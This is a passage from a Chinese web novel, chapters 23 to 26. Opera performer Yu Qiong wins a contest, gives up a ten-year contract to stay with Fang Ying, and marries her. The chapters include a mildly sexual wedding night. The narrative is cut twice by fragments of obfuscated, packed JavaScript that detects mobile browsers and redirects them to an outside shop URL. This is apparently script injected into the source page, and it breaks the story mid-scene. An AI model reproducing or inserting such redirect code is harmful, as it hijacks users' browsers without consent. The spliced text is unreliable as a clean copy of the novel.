总决赛上,选手们各亮本事,唱说扮舞绝,样样真功夫。尤其是绝活,精彩绝伦,耍扇子手绢、打板儿、矮子功、劈叉翻跟头……甚至有两名选手在台上表演吞剑吐火! 有位男演员给观众留下了极深的印象,这人名叫石如玉,是位男旦。男人反串饰演旦角,这种表演形式非常少见。这位男旦相貌清秀、身段柔美,反串唱女声细腻婉转,表演毫不出戏,美丽、新奇、特别。 电视机前的村民们议论纷纷: “这人到底男的女的?” “男的!你没听刚才介绍么,反串表演,男人扮女人。” “这也太像女的了,完全看不出来啊!” “是呀,这男的唱旦角还唱这么好!这是真功夫,太独特了!” …… 于穹和荣艳娟,抽签抽到最后一对上场。 村民们心情激动,擦亮眼睛,拭目以待。 他们看过于穹在台上表演一些绝活,他常在村头练早功,人们有时起得早也能碰见他练扇子手绢、翻跟头压腿等等。人们都在期待,想看看于穹在总决赛上,会像其他选手一样,亮出什么新奇的绝活。 然而,令人们非常意外,于穹在决赛上选择的曲目竟然是《浔阳楼》!1 这是一出纯唱功大戏,表演过程几乎没有舞蹈,也不整花活,不扭不浪站着干唱,全靠好嗓子、快脑子和嘴皮子。 这出戏堪称地狱难度,属于丑角试金石,及其考验功底。行话讲,《浔阳楼》一千二百句,丑角没道行可不敢唱。 懂戏的村民无不捏了把汗: “于穹这孩子,怎么敢选这出戏呢!” “说的是啊,这戏可太难唱了,这孩子真莽。” “他才多大点岁数,很多名丑,都不敢轻易开演《浔阳楼》。” …… 于穹的爹妈心里相信儿子的实力,但也不免替他紧张。 方英的手攥着拳,手心出了汗。她对他很有信心,知道他未来会成名成家,却不知道他能否赢得这场比赛。 舞台上,二人开唱。 于穹开口之后,人们悬着的心逐渐放下,达成一个共识:这小子太强悍了,这把稳了! 他声音高亢嘹亮,字正腔圆,板头正气息稳,一口气唱几十句、一连长三个调门,情绪把控精准,有情有戏有技巧,快唱慢唱节奏分毫不差。 精彩,实在是太精彩了! 乡亲们听得如痴如醉,酣畅淋漓: “他这嗓子嘎嘣脆,一点都不打喯儿啊!” “这嗓门太亮了,声音又高又清亮!” “于穹唱得太好了,肯定能拿冠军!” …… 终于到了万众期待的总决赛颁奖环节,乡亲们都觉得,丑角金奖得主会在于穹和石如玉中间产生,不是他就是他。 首先颁发旦角奖项,荣艳娟拿到旦角银奖,奖金有五千元。她在电视上捧着奖杯笑容明亮,她是于穹的搭档,村民们把她也当自己人,纷纷替她高兴,有的人甚至鼓起掌来。 接下来颁发丑角奖项,颁完铜奖、银奖,最后轮到金奖。 “获得本届‘庭喜杯’二人转大赛丑角金奖的男演员是——” 乡亲们的心提到了嗓子眼儿,既紧张又期待,屏住呼吸目不转睛盯着电视,竖起耳朵听结果: “石如玉!” 电视机前鸦雀无声,人们一齐僵住几秒,失了神一般无法接受这一结果。 乡亲们反应过来之后,懊恼、遗憾、不甘,有些人唉声叹气,有些人直拍大腿,还有的人伸手指着电视想破口大骂。 可还没等骂出口,电视屏幕倏然黑掉,大雨浇得线路故障,全村陷入停电。 23. 第23章 他回来了 那场大雨浇得电线发生故障,全村停了两天电。来电之后,电视上已经没有关于二人转大赛的回放。 第三天于穹回到村里,他没有回家,而是直接来了服装厂。 方英见到他,小跑着迎上前,笑吟吟道:“你回来啦!路上还顺利吗?” “顺利。”于穹问道:“你在电视上,看我比赛了吗?” 方英点了一下头,“当然看了。你的表现非常出色,决赛上唱的《浔阳楼》把我这个外行人都征服了。” 她温柔地笑着安慰道:“这次没取得名次没关系,以后还有机会的。” 于穹茫然不解,呆愣愣道:“我取得名次了呀。” “哦,对,”方英微笑道:“那么多参赛选手,你能晋级到总决赛,拿第四名或者第五名已经很棒了。” 于穹眼里的不解加重,拉开单肩挎包的拉链,从中拿出一个金色的奖杯举在手上,“我拿了冠军!金奖!” 方英看着奖杯睁大眼睛,极为惊喜,又非常纳闷,“丑角的金奖,不是颁给了石如玉吗?” “他是男旦,比较特殊。评委会讨论过后,决定还是让他和男演员一起领奖,但他其实唱的是旦角的戏,不能占丑角奖项的名额。” 于穹面露喜色,春风得意,张扬潇洒,“所以这届大赛,丑角是双冠军双金奖,我和他是男演员里的并列第一名。” 方英满眼欢喜,开心的不得了,“原来是这样啊!” 于穹笑着点点头,疑惑道:“你看了电视直播,没看到我上台领奖吗?石如玉领完奖,紧接着就到我。” 方英无奈笑道:“那会儿村里停电了。” 厂房里的姐妹嫂嫂、婶子大姨,听到方英和于穹的说话,望见于穹手上闪耀的金色奖杯,纷纷放下手里的缝纫活儿,围了过来。 她们夸赞他、观赏他的奖杯、询问他比赛台前幕后的趣事,尤其打探一件事情:“除了这个奖杯,一万块钱奖金你拿到了吗?” 于穹的答案,是肯定的。 好消息爆炸式地火速传遍全村,乡亲们都沸腾了! 一个23岁的年轻人,唱戏获得一万块钱奖金,一个人顶一户万元户! 他是本村走出的名角儿,是全村人民的骄傲,了不起,实在太了不起了! 于穹在服装厂被女工们团团围住,回到家又被上门的乡亲们围住,人们欣赏他、佩服他、崇拜他,围着他聊天,听他现场唱《浔阳楼》。 直到月牙儿出来,星星亮起,他才好不容易劝走来访的乡亲们。 方英也来了他家,他最后一个送她走出于家,出门后却没有送她回家。 两个人紧紧牵着手,在夜空下奔跑,默契地一起跑到空无一人的服装厂房。 进门之后顾不上开灯,他在黑暗中迫不及待地搂抱住她,将她按在墙上热烈亲吻。 她与他唇齿交缠,细腻辗转,心醉神迷,连呼吸都变得凌乱,却贪恋地不愿停下。执着地通过持续的吻,传达多日不见的思念,表达炙热浓烈的爱意。 亲吻的间歇,她柔声问了一句:“你裤子兜里揣了什么东西?硌着我了。” 他的身体仿佛僵住,一时间没有回答。 方英摸索着打开灯,厂房内亮起,她看着他,目光向他腰腹以下扫去,一瞬间面红过耳,害羞到不知所措。 他也红了脸,表情有点尴尬、有点羞涩、还有点囧,在她眼里毫不讨厌,竟然莫名可爱。 他勾唇笑了一下,轻轻对她说了声:“对不起。”然后背过身去,冷静了好一会儿。 再转过身时,他手里拿了个红色的小盒子,“柔柔,我给你买的礼物。” “是什么?”方英接过小盒子打开,当即惊呆。 她本以为,他这次送她的礼物,也是像之前的雪花膏、头花、发卡之类的小东西,然而盒子里却是一条闪闪发光的金项链,吊坠是一条小金鱼。 “这是,金项链啊?!” “我拿到奖金,在邻省省会买的。”他笑意盈盈地看着她,“喜欢吗?” “喜欢,当然喜欢!”方英受宠若惊,将项链拿在手上,感觉份量不轻,“这有多少克啊?” “20克多。” “现在黄金多少钱一克?” 于穹想了一下,“92元一克。” 方英下意识代入对未来袁柔时代金价的固有认知,脱口而出道:“这么便宜呀!” “便宜么?”于穹呆呆道:“你们厂的一般工人,一个月工资也只有80块钱左右吧?” 方英反应过来,“是哦!这样算来,现在的黄金其实非常贵。” 她心中暗想,以后通货膨胀,钱不再那么值钱,但金价会涨很多倍,黄金真是一种极好的抗通胀投资产品。 此刻她深知这条项链价值不菲,更明白他对她沉甸甸的心意。她感动又过意不去,温声软语道:“干嘛要送我这么贵重的东西?太破费了。” “因为我疼你,我爱你,我想对你好。”他深邃明亮的眼中尽是清澈的爱和宠溺,拿过项链道:“柔柔,我帮你戴上好吗?” 方英内心暖融融的,眼里闪烁着被爱的欢喜,轻轻点了点头。 项链戴在她的颈上,他满眼爱意地看着她,“真美!这条小金鱼很适合你。”他从衬衣里拉出一个黑绳挂着的玉吊坠,“我也有一条鱼。” 方英将于穹的玉吊坠拿在手上观看,发现这个吊坠极为不俗,材质像是翡翠,蓝色无杂质,冰透起刚光,随形雕刻成一条栩栩如生的锦鲤鱼。 她问:“这是翡翠吗?应该很贵吧?” “我也不清楚。”于穹说道:“反正从我记事起,我就戴着这个鱼形玉佩。” “听我爸妈说,好像是他们以前唱戏的时候,一位观众打赏的。” 她惊讶,“看二人转的观众,竟然会打赏这么贵重的东西!” “打赏贵重实物确实比较少见。”他笑了笑,“可能是我爸妈年轻的时候,唱得太好了吧。” “哦哦,那看来是了。”方英露出温柔明媚的笑容,“你有一条玉鱼,我有一条金鱼。” 她摸了一下脖子上的小金鱼,柔情蜜意地望着他说:“于穹,谢谢你送我金项链,这条小鱼我好喜欢,以后我要每天戴着。” 于穹玩笑道:“那它这个小鱼,比我这个小于更幸福,可以每天……”他直勾勾盯着她看,诱惑撩拨的眼神中带有一丝暧昧的 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于穹继续说道:“柔柔,我这次除了拿了金奖,其实还有一个好消息,我还谁都没告诉。” 方英问道:“什么好消息?” “这届‘庭喜杯’二人转大赛,我获得冠军,上电视出了名,也为县里争了光。昨天回到县里,县文化馆的领导找到我谈话,计划过些天特招我进文化馆工作。” “真的呀?”方英欣喜道:“这么说来,你以后要有‘铁饭碗’了!” 于穹点头,笑容充满喜悦和希望,“据说以后,还能分到城里的楼房呢!” 她十分替他高兴,但惊喜的同时又有些困惑。 因为前世原本的于穹专注二人转演艺事业,走向更大的舞台,成为了著名艺术家,并没有进县文化馆工作,也没有留在这里。 方英微微颦眉若有所思,眼中浮现一抹隐隐的忧虑。 他问:“在想什么?” “没什么。”她浅浅笑了一下,抱紧他依偎在他怀里,“我只是,觉得你好棒,好为你高兴。” 这天晚上,他对她说了好多话。 说他奖金剩下的八千元打算怎么花,说他对未来的期许,说他对人生的规划,还说他好爱她。 她心里幸福甜蜜,好想永远永远,和他在一起。 第二天,在服装厂里,方英没有故意显摆,但她的金项链仍然受到女工们围观。 “英子,你这金鱼项链金灿灿亮闪闪的,真好看!” “英子姐,于穹哥太疼你了,出手这么阔绰!” “小英儿,我真羡慕你,我结婚十多年了,老爷们儿都没给我买过一点金子。” “小方英儿,于穹对你这么好,你俩啥时候结婚啊?” …… 一个年轻小姑娘呼哧带喘跑进门,打断了方英的金项链这一话题,“你们快出来看!村里来了辆黑色轿车!” 一辆黑色轿车驶进村里,开在村道的土路上。平时村道上只有些牛马车,偶尔有拖拉机开过,这辆轿车格外稀奇,拉风吸睛。 村民们好奇地出门看,人们看到这辆豪华的车子,最后停在了于穹家门口,车上走下来一位大人物。 24. 第24章 送情郎 那辆黑色轿车在土路上开得较为缓慢,好奇的村民们追着车小跑,跟在后面看。 车子最后在于穹家大门口停下来,车上下来几个人。 其中一人白衫黑裤、中等个头,约莫不到四十岁,面貌质朴中透着智慧和通透,亲切而自带沉稳气场。 村民认出他来,激动惊呼:“哎呀妈呀!那人是单庭喜吧?单庭喜来咱村了!!!” “是他,今年春节联欢晚会上,他还演小品了呢!” “这么大腕儿,咋到咱村来了呢?他上于穹家干啥来了?” “单庭喜之前也是唱二人转出身。于穹二人转大赛拿了金奖,我估摸着,单庭喜肯定是来找他的!” …… 于穹的爹妈于红杨和秦霜玉迎出门外,和单庭喜行家见面,互道辛苦后,热情地将单庭喜迎进家中。 好信儿的村民想跟进去打探,被于红杨委婉劝回家。 乡亲们都知道,单庭喜是农村走出的二人转顶级名角儿,上过春晚的小品演员,也是于穹参加的“庭喜杯”二人转大赛的发起人和创办者。 方英对单庭喜的了解,比乡亲们更多。 在袁柔生活的未来时代,单庭喜先生是家喻户晓的喜剧大师,是德高望重、德艺双馨的老艺术家。 在今后几十年,单庭喜是春晚的常客,除了演小品,还会有很多部影视剧。单先生的作品幽默而有深度,经典无数。 除此之外,单先生还将创办多家大型连锁二人转剧院,与各地优秀的二人转演员一起,弘扬二人转传统文化。 方英头脑里浮现朦胧的印象,恍惚想起袁柔曾在电视上看过于穹先生的采访,访谈中于穹称呼单庭喜先生为“师父”。 而且她记起,前世原本的于穹,曾出演过单庭喜导演的多部电视剧,并且和单庭喜一起上过春晚。 方英心里激动欢喜,她大致猜到,单庭喜此次前来的目的,他一定是来向于穹抛出橄榄枝的! 她想,她爱的人迎来了重大的转折点,他将就此走向辉煌人生。 傍晚,那辆黑色轿车驶离村子。 于穹来到服装厂,表情复杂,看不出高兴还是难过。 方英眼中含着喜悦,柔声问道:“庭喜先生和你说什么了?” 他不说话,只是牵上她的手,拉着她向外走。一路无言,走到村口的小河边。 夏日的河岸边,芦苇茂盛葱茏,被风吹得摇荡。金色的夕阳映在河面,泛着层层涟漪。 他望着河面,依旧不语。 她笑盈盈开口:“和我说说吧,庭喜先生来找你,是什么事?” 他淡淡说道:“他说,想收我为徒。” “好事儿呀!庭喜先生真是你的贵人。”方英并不意外,笑着说:“不过话说回来,这也是因为你二人转唱得好,是金子才会被发掘,是千里马才会遇上伯乐。” 他看向她,“庭喜先生说,计划在邻省省会开办一家东北最大的二人转剧院,想让我去那唱戏,帮剧院唱响名声。” “可以啊!你不是一直想去更大的舞台么,现在终于要实现了!”方英很是兴奋,“要去多久啊?” 他眼中浮现深沉浓烈的悲伤,缓缓吐出两个字:“十年。” “去的话,要签十年的合同。” 方英的笑容僵在脸上,头脑一阵轰鸣,怔住半晌说不出话。 心中的迷雾渐渐散开,她清楚接下来的事情发展。 原本的于穹,应该就是在这一年离开了这个小村庄,先是去邻省省会拼搏十年,后回到本省省城大剧院。她知道,他将成就辉煌,成为顶尖的二人转表演艺术家,为热爱的演艺事业奋斗终身。 她一阵心如刀割,因为她也明白,他即将离开她。前世原本的方英和于穹,在今后将近四十年,都未曾再见过。 他紧握住她的双手,“柔柔,你跟我一起走吧!”他眼含深情和不舍,“跟我一起去邻省,我唱戏养你……” 他话音未落,被她打断:“不,我不能跟你去。” “我的家人和朋友在这里,我的事业也在这里。服装厂刚起步,这里需要我,我不能离开。” 她清澈的眼中闪着泪花,却忍着没让眼泪落下,“你曾经说过,出路只有两条,一条是把自己变得更好走出去离开这,另一条是留下来把这里变得更好。” “我们是不同的,你该离开这,而我应该留下。” “我知道很多人人生的碎片,大多不够完美需要改变,只有你的人生不一样。”她轻轻捧着他的脸,仔仔细细看他,像是想把他的模样深刻在脑海里,“你只要按照原本的轨迹,坚定勇敢地走下去就好。” 他不甚理解她的后两句话,难过和心痛已让他无法深思,心碎地落下泪来,声音颤抖着说:“我舍不得离开你。” “你的人生注定是旷野和苍穹,你注定要去更广阔的天地,上更大的舞台。”她含着泪泛起温柔的笑,“你不该被小情小爱束缚,没有我你也会过得很好,未来你会成名成家的。” 他满脸悲伤和难过,整个人仿佛快要碎掉了一般,语气委屈可怜中带着一丝气恼和责怪,“没有你,我跟谁成家啊?” “不是成家结婚,是成为艺术家。”她泪中带笑,似安慰他,也似安慰自己,“你或许会孤独,但你能够自洽,你会很幸福的。” 接下来的几天,方英在服装厂,没日没夜地做衣服。于穹则一直在服装厂,陪着方英,看着她做衣服。 她给他做了春天的夹克、夏天的T恤、秋天的风衣,还用去年冬天杀鹅积攒的鹅绒,给他做了又轻又保暖的羽绒服。 她真恨不得,把他一辈子要穿的衣服都做出来,让这些衣服代替她,陪在他的身边。 时间转瞬即逝,纵有万般不舍,也到了分别这天。 他将出发去邻省,她送他到火车站。 火车即将进站,站台旅客很多,呜呜泱泱。 “带的吃的和水,都装好了吧?”她嘱咐道:“车上人多,经管好财物。” 他含情脉脉地注视着她,眼中泛起泪光,点了点头。 她的难过和不舍绝不逊他分毫,却勉强露出微笑,“到那边好好唱戏,不用不放心家里。我在村里,叔婶和爷爷奶奶有什么事,我会常去帮忙的,过些年你在城里安定下来,再把他们接去。” “我放心不下的是你。”他的泪滑落脸颊,“柔柔,我们还会再见面吗?” 她没有正面回答,只是抬手帮他擦去眼泪,温柔地轻声安慰:“别难过。好男儿志在四方,去大地方唱戏是难得的机会,不要哭了啊。” “可是,我还想让你给我做衣服穿……” “找裁缝做衣服,其实也就这几年,过些年人们普遍都买成衣穿,找人定做的会越来越少的。”她轻轻笑了一下,“以后你有钱了,什么样的名牌衣服都买得到,会比我做的好。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316602|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 火车鸣笛进站,周围的旅客们提着行囊,拥挤着往车门的方向走。 于穹却站在原地,终于忍不住将方英拥进怀中,紧紧抱着她。 她回抱住他,把脸埋在他胸口,泪水夺眶而出。 这个依恋难舍的拥抱,终被列车员催促上车的声音打断。 她轻轻推开他,抚了一下他的衣襟,试图拭去上面沾染的她的泪,可那泪痕却顽固地留在他衣襟上,并且晕染开来。 “去吧。”她擦擦眼泪,对他笑得温柔而坚定,“去实现你的梦想。” 说罢帮他提起行李,亲自送他坐上即将离开她远行的火车。 她站在站台,隔着车窗与坐在车厢里的他对望几秒,心痛难忍地背过身去。 片刻后绿皮火车发动的声音哐当作响,火车渐行渐远,送站的人们各自离去,方英却站在原地,无声地泪流满面。 不知过去多久,周围变得人影稀少,静悄悄的。 她挪动脚步之前,下意识回眸望了一眼,双眼瞬间睁大,眼神恢复光彩,既惊又疑,既悲又喜。 因为她看到,于穹正站在不远处,眼含泪水和温柔望着她笑。 他对她张开双臂,做出想要拥抱的姿势。 这一刻她什么都顾不得了,奔跑过去扑进他的怀抱,大哭着问道:“不是都上车了么,怎么又下来了?” “我不走了。”他用力将她搂得很紧,像是很怕失去她,万分坚定地说:“我不要离开你。” “你去邻省,去做单先生的徒弟,事业会有更好的发展,会取得很大的成就。你不走会后悔的!” “离开你我才会后悔。我可以去文化馆工作,我想每天都和你在一起。” “傻,傻瓜!”她攥着拳,用极轻的力度捶打他的胸口,啜泣着似撒娇似嗔怪道:“不走回村要怎么说啊?说你离不开女人?没出息不?让别人笑话不?” “我才不在乎那些。”他抬手轻擦去她脸蛋上的泪,亲了一下她的额头,“柔柔,我离不开你,一天也离不开。” “以前一个人的时候不觉得,和你在一起之后,我越来越发现,我真的不能没有你。”他深邃明亮的眼眸凝望着她,深情告白道:“柔柔,我爱你。” “我也爱你。”她终于发自内心地展露笑颜,亲昵地靠在他怀中,“我不要再假装让你走了,我要你永远留在我身边。” “既然我们这么相爱,决定要永远在一起,”他笑意深深,眼里闪着爱意和期待的光彩,真挚地问:“柔柔,嫁给我好不好?我们结婚吧?” 她自己非常意外,不是因为突然被他求婚,而是因为对于这突然的求婚,她心中毫无半点迟疑,只有无尽的欢喜,“好,我们结婚!” 她是袁柔的时候,没有谈过恋爱,也不打算结婚。曾有过几个追求者,也经人介绍碍于情面相过几次亲,但那些追求者和相亲对象,都被她委婉又坚决地劝退。 那时她习惯孤单,也享受孤独,对结婚无感、抵触、甚至害怕。一想到要和另外一个人一辈子绑在一起,她就焦虑烦躁,透不过气,喉咙发紧。 如今她恍然大悟,原来她怕的不是婚姻本身,而是害怕与不相爱的人步入婚姻。 此刻与他紧紧相拥,她心里没有一丝对于即将结婚的恐惧,只是迫不及待地,想要与他共度余生。 回到村里之后,方家和于家,两家人忙碌起来,忙着准备操办他们的喜事儿。 25. 第25章 办喜事儿 方英经历过周围一些年轻人结婚,了解一些东北这个年代的婚俗,她知道流程较多较杂。 不过当她亲身经历的时候,才发现实际的流程,比她了解得更加繁复。 她和于穹回到村里的第二天,于穹便带上父母一起,来到方家正式上门提亲,当天过了烟酒茶糖四盒头茬礼。 方家父母知道两个孩子情投意合,也知道方英愿意嫁,自然就欣然同意了。 几天之后,于家摆了几桌丰盛的酒菜,宴请方英的父母、方英的哥哥嫂子姐姐姐夫、方家的近亲戚,聚在一起吃定亲饭。 在酒桌上方万春和于红杨换盅,正式认下亲家。二茬礼八百元现金在定亲这天过给方家,按习俗这笔钱用于准新娘置办新衣裳。 经过两家人商量,他们结婚的日子定在农历八月初八,那天是宜嫁娶的吉日,而且能够赶在秋收全面开镰之前,避开农忙高峰。 定亲之后,于家开始在村里抓紧张罗买房子,还真买到一个合适的大砖房。 这个砖房和现在盼儿家的房子,也就是之前王财大爷家的砖房情况类似。 本村赵大爷盖完装好,打算给儿子结婚住,不过他家儿子这两年去南方闯荡,做生意卖影碟片挣了一大笔钱,在城里买了楼房,所以农村这个砖房便闲置了。 这房子不仅房屋状况很好,更重要的是位置绝佳,刚好处在两家父母家之间,离得都不远。 方英结婚后住在这里,既方便去公婆家,又能随时回娘家。 买下房子之后,于家又购置了彩电、自行车、手表、收音机等大件儿。 于家人忙,方家人也没闲着。 定亲之后,方万春日日无休,忙着给方英打新家的家具,包括写字台、大衣柜、被橱、不锈钢五金包角的木箱子、桌椅板凳等等。 全部由他这个手艺高超的老木匠亲力亲为,纯手工打造,精工细作,成品完美无瑕。 英子妈进城,到百货大楼给方英采买了最好的暖壶、毛巾、脸盆等生活日用品,还买来棉花和红被面。 虽然方英说结婚的被褥可以让服装厂的工人制作,但英子妈坚持,由她和方英的两位嫂嫂和姐姐方华一起,亲手给方英做新枕头新被褥。 她说,这是娘家人的心意。 忙碌的日子过得很快,转眼再过半个月就到他们的婚期。 这天于穹和父母再次上门,正式送来两千元彩礼。 “万春,这两千块钱彩礼你收下。”于红杨乐呵呵道:“现在咱家条件有限,要不然,就是给一万块钱彩礼也不多。毕竟咱家英子,是万里挑一的好姑娘。” 方万春笑着说:“彩礼给两千,这在十里八村可不少了。” 他笑容微收,“不过,我姑娘确实万里挑一。”他从柜子里拿出一个又大又厚的红包,轻拍在桌上,“这里是一万零一,我给我老姑娘,陪送的嫁妆钱。” 屋里的方英、于穹、于家父母,都是一脸惊呆的表情。 莫说全村,就算是全县,也没有哪家姑娘出嫁,娘家给陪送一万零一的!这个数额太轰动了! 方万春叫过方英,“英子,这钱个人收好,以后和于穹小两口过日子用。” 英子妈将大红包塞到方英手中,慈爱地笑道:“姑娘,拿着。” 方英当着于穹和于家父母的面接过红包,恭敬地对自家父母说:“谢谢爸妈。” 于家人走后,她将红包放回桌上,“爸妈,他们走了,这钱你们收回去吧!” “收回来干啥?”方万春瞪着眼睛,“老姑娘,你寻思爸刚才是演戏呢!?” “不是的。爸,我是觉得,你和妈不用给我这么多陪嫁钱。”方英说道:“姐姐出嫁的时候,咱家陪送了一千,现在我要结婚,也陪送一千就好。” “刚才于穹他爹讲话了,那时候咱家也是条件有限。”方万春道:“这二年你办裁缝铺、开服装厂,给家挣不少钱,咱家有条件当然得多给你嫁妆。” 他带着皱纹的脸上,浮现温和且骄傲的笑容,“爸得说,其实这一万里头,有九千丁算是你自己挣的。” “你爸说得对。”英子妈劝道:“英子,这钱你得拿着。” “于穹家最近没少花钱,买房子、买大件、给彩礼。你拿着这一万块钱,在婆家硬气有面子,头能抬老高。” 她拉着方英的手,情不自禁地眼泛泪光,似乎既高兴又舍不得,“我老姑娘要嫁人了,以后没人敢给你气受。” 方英轻轻唤了一声:“妈妈……”抿着嘴唇感动幸福的泪珠滚落,像孩子一样伏在母亲肩头很小声地啜泣起来。 “哎呀!”方万春眼圈也微红,却故作不耐烦道:“你说你们娘俩,哭啥啊!” “尤其是你老婆子,孩子大了要结婚,这不是好事儿吗,整这哭天抹泪的样儿干啥。行了,快别哭了!” 他说罢,起身走去院子里,装模作样地看他前几天打好的桌椅板凳,不知是在检查木毛刺,还是跑出来避免让老婆孩子看到他也掉了两滴眼泪。 方英没有把这笔嫁妆钱存进银行,而是选择花掉,买了一辆摩托车,和一个金镯子。 买摩托车是因为于穹现在已经到县文化馆工作,他上下班通勤,有辆摩托车会更方便些。买金手镯一方面由于女孩子对首饰的喜爱,另一方面则出于黄金保值抗通胀的考虑。 终于迎来八月初八,他们办喜事儿这天,艳阳高照,秋高气爽,不冷不热。 方英这天非常漂亮,一整个美艳明媚新娘子的模样。 她身穿的喜服是她自己做的,大气端庄又时尚的港风红色套装裙。她提前在城里烫了头发,做了符合这个年代审美的时髦造型,一大早盼儿过来,帮她化了美美的妆。 上午九点,接亲的队伍敲锣打鼓,热热闹闹上门。 枝枝作为伴娘,和盼儿、还有服装厂的一些年轻姑娘一起,象征性地堵门,讨要红包。 伴郎名叫白云飞,今年才19岁,是城里剧院吹唢呐的小哥,人非常活泼,也有点愣。 这小哥第一个闯进门,对鲁枝枝傻乐道:“大姐,我们来接新娘子!” “你管谁叫大姐呢?!”枝枝脸一黑,生气道:“我才23,有那么老吗?” 白云飞尴尬,似有点被枝枝的质问吓到,“对不起、对不起……大姐,啊不,大妹子……” 盼儿嗤笑一声,半轻不重地责怪道:“你这小喇叭好没眼色!”她搂着枝枝的肩,介绍道:“这可是今天的伴娘,你得叫她枝枝姐姐。” 她假装板起脸,叉着腰做阻拦状,“你要是惹了枝枝姐姐生气,今天的新娘子你们就别想接走了!” 白云飞挠了挠后脑勺,嘿嘿笑道:“枝枝姐姐,刚才多有得罪,你别见怪。” “枝枝姐姐,还有这位仙女姐姐,”他恭敬地拱拱手,“拜托拜托,让我们接亲吧!” 方英视线穿过人群,望着于穹笑意温柔,用唇语对他说:“快给红包呀!” 于穹今天西服革履,板正挺拔,英俊帅气,春风得意。 他从进门,目光就凝聚在方英身上,喜盈盈地盯着他漂亮的新媳妇儿看。 这会儿经她提醒,才连忙拿出红包,笑着先发给枝枝,然后把一些金额小点的分给盼儿和屋里另外的姑娘。 接下来是找鞋、敬茶、吃喜面之类欢乐的小环节,最后新郎要抱新娘子出门。 白云飞爱笑爱闹,于穹去抱方英时,他故意轻推他撞到她身上,然后带头起哄:“亲一个!亲一个!亲一个……” 方英和于穹对视一眼,两人笑得甜蜜,又双双羞红了脸。这个年代的人大多比较含蓄保守,当众亲吻着实是件羞煞人的事。 在众人的围观和起哄声中,他看着她,眼里像盛了蜜,几秒之后他快速轻啄了一下她红扑扑的脸颊。 然后在热闹欢呼中,轻松地抱起她,健步走出方家大门。 她非常意外,院门外竟然停了辆桑塔纳,搂着他的脖颈轻声问道:“这轿车哪来的?不是说坐四轮拖拉机过去吗?” “在城里租的。”他对她宠溺一笑,“轿车比拖拉机更风光。” 轿车接亲,这在村里是第一家,着实风光极了! 到了新家之后,又是一系列琐碎却欢乐喜气的小习俗。 典礼隆重热闹,来宾众多,本村的乡亲们、服装厂的女工们、县文化馆于穹的领导和同事们、城里剧院的二人转演员和乐手们、城里做服装生意的孙大姐和丈夫两口子…… 婚宴大摆了几十桌,村长亲自当支客人,流水席从中午吃到晚上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他笑意深深,揽上她的腰,用力使她贴他更紧,“‘办喜事儿’、‘办喜事儿’,还有正事儿要办呢!” 她心脏狂跳,面红过耳,又羞又喜,清澈的眼神中有紧张羞怯,也藏着呼之欲出的热切期待。 他抱着她开始亲吻,额头、鼻尖、脸颊,最后吻上嘴唇。 从轻柔到热烈,从细腻到动情,他情不自禁地与她舌尖轻触、唇齿交缠。吻到她脸颊发烫、身子柔软、呼吸凌乱。 他的手先是搂在她腰间,随着亲吻不安分地上下游走,深情注视着她问道:“柔柔,怕不怕?” 她抬眸与他对望,看见他眼里清晰炙热的爱意,和直白强烈的占有欲。 她知道即将发生什么,热爱与心动击败怯懦和羞涩,柔声回应他道:“不怕。” 他勾起唇角看着她笑,将脖子上的领带扯松了些,贴了贴她滚烫的脸蛋,解开衬衫的扣子,“快点进被窝吧!” 这晚,是他们的新婚之夜,也是他们的第一次。 虽有生疏,确无笨拙,爱欲连绵,缠绵缱绻,起伏难平,久久不歇,所有的一切都水到渠成。 第二天早上,方英半梦半醒中,感觉到于穹小心翼翼地抽走被她枕着的手臂,似乎想要起身。 她迷迷糊糊睁了一下眼,感觉天刚蒙蒙亮,咕哝了一句:“怎么这么早就起来呀?” “炕有点凉了,我先把火生上,然后去练早功,一会儿回来做饭。”他伸手轻轻摸了一下她的脸,“柔柔,你多睡会儿吧,等我叫你再起。” 他想坐起身,却被她搂抱住。 “一起睡。”她钻进他怀里,把脸埋在他的胸口,像小猫咪撒娇一样蹭了蹭,“抱一会儿,多抱一会儿再起嘛~” 他轻笑出声,“媳妇儿,你在对我撒娇吗?” “我是你媳妇儿,你是我老公。”她睁开双眼看向他,神色娇蛮中不失温柔可爱,“我对我自己老公撒娇,不可以吗?” “可以可以!当然可以!昨晚你撒娇,我的心都快融化了。”他一边把她往怀里搂,一边难缠地胡乱亲她,“既然你也醒了,我们要不要……” “你这人精力怎么这么充沛啊?”她似娇似嗔道:“昨晚、昨晚折腾到那么晚,今天又醒这么早,现在还想……你不会觉得累吗?” 他笑,“不累,和你在一起,永远都不会累。” 她想推开他,力气却比不过他,或者说,她也没怎么用力,终被他压在身下,就快乖乖甘心就范。 正欲行好事之时,先是传来两声“咣咣”砸门声,又传来几下急促的敲窗户声。 然后听到鲁枝枝的声音喊道:“英子!盼儿家里打起来了!” 26. 第26章 盼儿觉醒 听到枝枝的喊声,方英心里猛地一惊,和于穹赶紧起身快速穿上衣服。 于穹去打开外屋门,枝枝进门直接闯进新房,“英子!快跟我去盼儿家,听老张婆子说盼儿家里打起来了!” “怎么回事?”方英愤怒又紧张,“温清璞打盼儿了?” “我也听个半齿半咽、含含糊糊,盼儿家西院老张婆子一大早跑我家找我,说盼儿家打仗打挺凶,她给暂时拉开了,让我过去看看。我寻思来招呼你,咱俩一起去!” 鲁枝枝一脸焦急,“英子,别问那么多了,咱赶紧过去吧!” 方英点头,“好!” 她下炕趿拉上鞋,顾不得提好,和鲁枝枝一起疾步冲出门,直奔盼儿家去。 于穹追在后边,“英子,别冲动!到那别急着发火,问问什么情况再说。” 他看得出她很生气,想要安抚她的情绪。 方英脚步飞快,怒气冲冲,气势汹汹,撸胳膊挽袖子,拳头攥得邦硬,“没什么好问的,我要揍扁他!!!” 她早料到温清璞会有原形毕露的一天,现在他的狐狸尾巴终于露出来了,她无比担心盼儿的情况,同时也迫不及待,要去狠狠教训那个伪君子一顿,替盼儿出口恶气。 